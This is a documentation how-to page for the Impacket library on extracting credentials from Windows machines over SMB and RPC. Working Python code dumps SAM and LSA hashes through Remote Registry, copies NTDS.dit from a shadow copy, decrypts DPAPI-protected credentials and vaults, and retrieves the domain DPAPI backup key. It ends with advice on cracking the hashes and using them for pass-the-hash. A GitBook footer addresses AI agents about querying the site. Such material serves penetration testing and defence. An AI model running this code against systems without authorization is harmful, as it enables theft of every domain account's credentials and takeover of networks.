> For the complete documentation index, see [llms.txt](https://www.impacket.wiki/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://www.impacket.wiki/how-to-guides/credential-extraction.md).

# Credential Extraction

You have local administrator access to a Windows machine and need to extract password hashes, cached credentials, and secrets.

## What you need

* An account with local administrator privileges on the target
* Network access to the target on port 445

***

## Extract SAM hashes and LSA secrets via Remote Registry

This approach uses SCMR to ensure the Remote Registry service is running, then RRP to extract hive data.

### Ensure the Remote Registry service is running

```python
from impacket.smbconnection import SMBConnection
from impacket.dcerpc.v5 import transport, scmr, rrp

smb_conn = SMBConnection(target_ip, target_ip)
smb_conn.login(username, password, domain)

rpctransport = transport.DCERPCTransportFactory(rf'ncacn_np:{target_ip}[\pipe\svcctl]')
rpctransport.set_smb_connection(smb_conn)
dce_scmr = rpctransport.get_dce_rpc()
dce_scmr.connect()
dce_scmr.bind(scmr.MSRPC_UUID_SCMR)

resp = scmr.hROpenSCManagerW(dce_scmr)
sc_handle = resp['lpScHandle']

resp = scmr.hROpenServiceW(dce_scmr, sc_handle, 'RemoteRegistry\x00')
service_handle = resp['lpServiceHandle']

resp = scmr.hRQueryServiceStatus(dce_scmr, service_handle)
was_stopped = resp['lpServiceStatus']['dwCurrentState'] != scmr.SERVICE_RUNNING
if was_stopped:
    scmr.hRStartServiceW(dce_scmr, service_handle)
```

### Connect to the Remote Registry and extract the bootkey

```python
rpctransport_rrp = transport.DCERPCTransportFactory(rf'ncacn_np:{target_ip}[\pipe\winreg]')
rpctransport_rrp.set_smb_connection(smb_conn)
dce_rrp = rpctransport_rrp.get_dce_rpc()
dce_rrp.connect()
dce_rrp.bind(rrp.MSRPC_UUID_RRP)

from binascii import unhexlify, hexlify

ans = rrp.hOpenLocalMachine(dce_rrp)
reg_handle = ans['phKey']

boot_key_raw = b''
for key_name in ['JD', 'Skew1', 'GBG', 'Data']:
    ans = rrp.hBaseRegOpenKey(dce_rrp, reg_handle, f'SYSTEM\\CurrentControlSet\\Control\\Lsa\\{key_name}')
    key_handle = ans['phkResult']
    ans = rrp.hBaseRegQueryInfoKey(dce_rrp, key_handle)
    boot_key_raw += ans['lpClassOut'][:-1].encode()
    rrp.hBaseRegCloseKey(dce_rrp, key_handle)

boot_key_raw = unhexlify(boot_key_raw)
transforms = [8, 5, 4, 2, 11, 9, 13, 3, 0, 6, 1, 12, 14, 10, 15, 7]
boot_key = bytes(boot_key_raw[i] for i in transforms)
```

### Save and retrieve the SAM and SECURITY hives

```python
import random, string

def save_hive(dce_rrp, reg_handle, hive_name, smb_conn):
    tmp_name = ''.join(random.choices(string.ascii_letters, k=8)) + '.tmp'
    ans = rrp.hBaseRegCreateKey(dce_rrp, reg_handle, hive_name)
    key_handle = ans['phkResult']
    rrp.hBaseRegSaveKey(dce_rrp, key_handle, '..\\Temp\\' + tmp_name)
    rrp.hBaseRegCloseKey(dce_rrp, key_handle)

    tree_id = smb_conn.connectTree('ADMIN$')
    fid = smb_conn.openFile(tree_id, 'Temp\\' + tmp_name)
    hive_data = b''
    offset = 0
    while True:
        chunk = smb_conn.readFile(tree_id, fid, offset, 4096)
        if not chunk:
            break
        hive_data += chunk
        offset += len(chunk)
    smb_conn.closeFile(tree_id, fid)
    smb_conn.deleteFile('ADMIN$', 'Temp\\' + tmp_name)
    return hive_data

sam_data = save_hive(dce_rrp, reg_handle, 'SAM', smb_conn)
security_data = save_hive(dce_rrp, reg_handle, 'SECURITY', smb_conn)
```

### Parse the hives locally

```python
from impacket.examples.secretsdump import SAMHashes, LSASecrets

with open('/tmp/sam.hive', 'wb') as f:
    f.write(sam_data)
with open('/tmp/security.hive', 'wb') as f:
    f.write(security_data)

sam_hashes = SAMHashes('/tmp/sam.hive', boot_key)
sam_hashes.dump()

lsa_secrets = LSASecrets('/tmp/security.hive', boot_key)
lsa_secrets.dumpCachedHashes()
lsa_secrets.dumpSecrets()
```

***

## Extract NTDS.dit via Volume Shadow Copy (domain controllers only)

On a domain controller, the NTDS.dit database contains every domain account's credentials. It can't be copied while Active Directory is running, so you create a volume shadow copy first.

### Create a shadow copy via WMI

```python
from impacket.dcerpc.v5.dcomrt import DCOMConnection
from impacket.dcerpc.v5.dcom import wmi
from impacket.dcerpc.v5.dtypes import NULL

dcom = DCOMConnection(target_ip, username, password, domain)
iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login)
iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface)
iWbemServices = iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL)
iWbemLevel1Login.RemRelease()

win32_shadow_copy, _ = iWbemServices.GetObject('Win32_ShadowCopy')
result = win32_shadow_copy.Create('C:\\', 'ClientAccessible')
shadow_id = result.ShadowID

dcom.disconnect()
```

### Copy NTDS.dit and SYSTEM from the shadow copy

Use command execution (via SCMR, WMI, or TSCH) to copy the files to a readable location:

```python
# The shadow copy device path looks like: \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1
# Execute on target:
# copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\ntds.dit C:\Windows\Temp\ntds.dit
# copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\Windows\Temp\SYSTEM
```

Then retrieve both files over SMB and parse locally:

```python
from impacket.examples.secretsdump import NTDSHashes

ntds = NTDSHashes('/tmp/ntds.dit', '/tmp/SYSTEM', isRemote=False)
ntds.dump()
```

### Delete the shadow copy

```python
dcom = DCOMConnection(target_ip, username, password, domain)
iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login)
iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface)
iWbemServices = iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL)
iWbemLevel1Login.RemRelease()

iWbemServices.DeleteInstance(f'Win32_ShadowCopy.ID="{shadow_id}"')
dcom.disconnect()
```

***

## Decrypt DPAPI-protected secrets

DPAPI (Data Protection API) protects credentials stored by Windows Credential Manager, browser passwords, Wi-Fi keys, and other sensitive data. The decryption chain requires: the DPAPI machine/user keys (from LSA secrets), the master key files (from the user's profile), and the encrypted blobs themselves.

### Extract the DPAPI system keys from LSA secrets

When you dump LSA secrets (earlier in this guide), one of the secrets is `DPAPI_SYSTEM`. Parse it to get the machine and user DPAPI keys:

```python
from impacket.dpapi import DPAPI_SYSTEM

# The DPAPI_SYSTEM secret is one of the values returned by LSASecrets.dumpSecrets()
# If you have the raw bytes:
dpapi_system = DPAPI_SYSTEM(dpapi_system_raw_bytes)
machine_key = dpapi_system['MachineKey']
user_key = dpapi_system['UserKey']
```

### Retrieve and decrypt master key files

Master key files are stored in each user's profile at `AppData\Roaming\Microsoft\Protect\{SID}\`. Retrieve them over SMB:

```python
from impacket.dpapi import MasterKeyFile, MasterKey

# List the user's master key directory
user_sid = "S-1-5-21-..."
mk_path = f'Users\\{target_user}\\AppData\\Roaming\\Microsoft\\Protect\\{user_sid}'

tree_id = smb_conn.connectTree('C$')
files = smb_conn.listPath('C$', mk_path + '\\*')

for f in files:
    name = f.get_longname()
    if name in ('.', '..', 'Preferred'):
        continue

    # Download the master key file
    mk_data = b''
    fid = smb_conn.openFile(tree_id, mk_path + '\\' + name)
    mk_data = smb_conn.readFile(tree_id, fid)
    smb_conn.closeFile(tree_id, fid)

    # Parse it
    mk_file = MasterKeyFile(mk_data)
    data = mk_data[len(mk_file):]

    master_key = MasterKey(data[:mk_file['MasterKeyLen']])

    # Decrypt with the DPAPI system keys (for SYSTEM-context blobs)
    # or with user-derived keys (for user-context blobs)
    decrypted = master_key.decrypt(machine_key)
    if decrypted is None:
        decrypted = master_key.decrypt(user_key)
    if decrypted:
        mk_guid = mk_file['Guid'].decode('utf-16le')
        print(f"  Decrypted master key: {mk_guid}")
        # Store: guid -> decrypted key for later blob decryption
```

### Derive keys from a user's password or NT hash

If you have the user's plaintext password or NT hash, you can derive DPAPI keys without the LSA DPAPI\_SYSTEM secret:

```python
from impacket.dpapi import deriveKeysFromUser, deriveKeysFromUserkey

# From plaintext password
keys = deriveKeysFromUser(user_sid, password)

# From NT hash (as bytes)
from binascii import unhexlify
nt_hash_bytes = unhexlify(nt_hash_hex)
keys = deriveKeysFromUserkey(user_sid, nt_hash_bytes)

# Try each derived key against the master key
for key in keys:
    decrypted = master_key.decrypt(key)
    if decrypted:
        break
```

### Decrypt credential files

Windows Credential Manager stores credentials as DPAPI-encrypted files in `AppData\Local\Microsoft\Credentials\`:

```python
from impacket.dpapi import CredentialFile, DPAPI_BLOB, CREDENTIAL_BLOB
from impacket import crypto

# Download credential files
cred_path = f'Users\\{target_user}\\AppData\\Local\\Microsoft\\Credentials'
files = smb_conn.listPath('C$', cred_path + '\\*')

for f in files:
    name = f.get_longname()
    if name in ('.', '..'):
        continue

    fid = smb_conn.openFile(tree_id, cred_path + '\\' + name)
    cred_data = smb_conn.readFile(tree_id, fid)
    smb_conn.closeFile(tree_id, fid)

    # Parse the credential file
    cred_file = CredentialFile(cred_data)
    blob = DPAPI_BLOB(cred_file['Data'])

    # Find which master key this blob needs
    mk_guid = bin_to_string(blob['GuidMasterKey'])

    # Decrypt using the matching master key
    # (lookup from the guid->key map you built earlier)
    if mk_guid in decrypted_master_keys:
        decrypted = blob.decrypt(decrypted_master_keys[mk_guid])
        if decrypted:
            cred = CREDENTIAL_BLOB(decrypted)
            cred.dump()
            # cred['Target'] contains the target (e.g., domain name, URL)
            # cred['Username'] contains the stored username
            # The credential's password is in the attributes
```

### Decrypt Windows Vault entries

Windows Vault stores web credentials and Windows credentials in `AppData\Local\Microsoft\Vault\`:

```python
from impacket.dpapi import VAULT_VPOL, VAULT_VPOL_KEYS, VAULT_VCRD

# Each vault has a Policy.vpol file and .vcrd entries
vault_path = f'Users\\{target_user}\\AppData\\Local\\Microsoft\\Vault'
vaults = smb_conn.listPath('C$', vault_path + '\\*')

for vault_dir in vaults:
    if not vault_dir.is_directory() or vault_dir.get_longname() in ('.', '..'):
        continue

    vault_guid = vault_dir.get_longname()
    vpol_path = f'{vault_path}\\{vault_guid}\\Policy.vpol'

    # Read and decrypt the vault policy
    fid = smb_conn.openFile(tree_id, vpol_path)
    vpol_data = smb_conn.readFile(tree_id, fid)
    smb_conn.closeFile(tree_id, fid)

    vpol = VAULT_VPOL(vpol_data)
    blob = DPAPI_BLOB(vpol['Blob'])

    # Decrypt with the matching master key to get vault keys
    mk_guid = bin_to_string(blob['GuidMasterKey'])
    if mk_guid in decrypted_master_keys:
        decrypted = blob.decrypt(decrypted_master_keys[mk_guid])
        if decrypted:
            vpol_keys = VAULT_VPOL_KEYS(decrypted)
            # Use vpol_keys to decrypt .vcrd entries in this vault
```

### Request the domain DPAPI backup key

If you have domain admin access, you can retrieve the domain's DPAPI backup key via MS-BKRP (Backupkey Remote Protocol). This key can decrypt any domain user's master keys without needing their password:

```python
from impacket.dcerpc.v5 import transport, bkrp
from impacket.dpapi import P_BACKUP_KEY, PREFERRED_BACKUP_KEY

rpctransport = transport.DCERPCTransportFactory(rf'ncacn_np:{dc_ip}[\pipe\protected_storage]')
rpctransport.set_smb_connection(smb_conn)
dce = rpctransport.get_dce_rpc()
dce.connect()
dce.bind(bkrp.MSRPC_UUID_BKRP)

# Request the backup key
request = bkrp.BackupKey()
request['pguidActionAgent'] = bkrp.BACKUPKEY_RETRIEVE_BACKUP_KEY_GUID
request['pDataIn'] = b'\x00'
request['cbDataIn'] = 1
request['dwParam'] = 0

resp = dce.request(request)
# The response contains the domain backup key (RSA private key)
# that can decrypt any domain user's DPAPI master keys via the
# DomainKey field in the master key file

dce.disconnect()
```

***

## Read specific registry values for credential-adjacent data

Beyond hive extraction, the Remote Registry is useful for reading specific values that inform your next steps:

### Check if WDigest plaintext credential caching is enabled

```python
ans = rrp.hBaseRegOpenKey(dce_rrp, reg_handle, 'SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest')
key_handle = ans['phkResult']
try:
    data_type, value = rrp.hBaseRegQueryValue(dce_rrp, key_handle, 'UseLogonCredential')
    wdigest_enabled = value == 1
except Exception:
    wdigest_enabled = False
rrp.hBaseRegCloseKey(dce_rrp, key_handle)
```

### Check the LM hash storage policy

```python
ans = rrp.hBaseRegOpenKey(dce_rrp, reg_handle, 'SYSTEM\\CurrentControlSet\\Control\\Lsa')
key_handle = ans['phkResult']
try:
    data_type, value = rrp.hBaseRegQueryValue(dce_rrp, key_handle, 'NoLmHash')
    lm_hashes_disabled = value == 1
except Exception:
    lm_hashes_disabled = False
rrp.hBaseRegCloseKey(dce_rrp, key_handle)
```

### Read the machine's Kerberos salt for offline ticket crafting

```python
from impacket.dcerpc.v5 import wkst

rpctransport_wkst = transport.DCERPCTransportFactory(rf'ncacn_np:{target_ip}[\pipe\wkssvc]')
rpctransport_wkst.set_smb_connection(smb_conn)
dce_wkst = rpctransport_wkst.get_dce_rpc()
dce_wkst.connect()
dce_wkst.bind(wkst.MSRPC_UUID_WKST)

resp = wkst.hNetrWkstaGetInfo(dce_wkst, 100)
machine_name = resp['WkstaInfo']['WkstaInfo100']['wki100_computername'][:-1]
domain_name = resp['WkstaInfo']['WkstaInfo100']['wki100_langroup'][:-1]
kerberos_salt = f'{domain_name.upper()}host{machine_name.lower()}.{domain_name.lower()}'

dce_wkst.disconnect()
```

***

## Clean up

Restore the Remote Registry service to its original state, close all handles, and remove any temporary files:

```python
if was_stopped:
    scmr.hRControlService(dce_scmr, service_handle, scmr.SERVICE_CONTROL_STOP)

scmr.hRCloseServiceHandle(dce_scmr, service_handle)
scmr.hRCloseServiceHandle(dce_scmr, sc_handle)
dce_scmr.disconnect()
dce_rrp.disconnect()
smb_conn.logoff()
smb_conn.close()
```

## What to do with the output

SAM hashes are in `LMHash:NTHash` format, crackable with Hashcat mode 1000 or usable directly for pass-the-hash. LSA secrets may contain plaintext service account passwords, cached domain credentials (crackable with Hashcat mode 2100), DPAPI machine keys, and Kerberos tickets. NTDS.dit hashes from a domain controller contain every domain account and can be used for pass-the-hash or cracked offline. DPAPI credential files often contain saved RDP passwords, scheduled task credentials, and web credentials in plaintext once decrypted.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://www.impacket.wiki/how-to-guides/credential-extraction.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
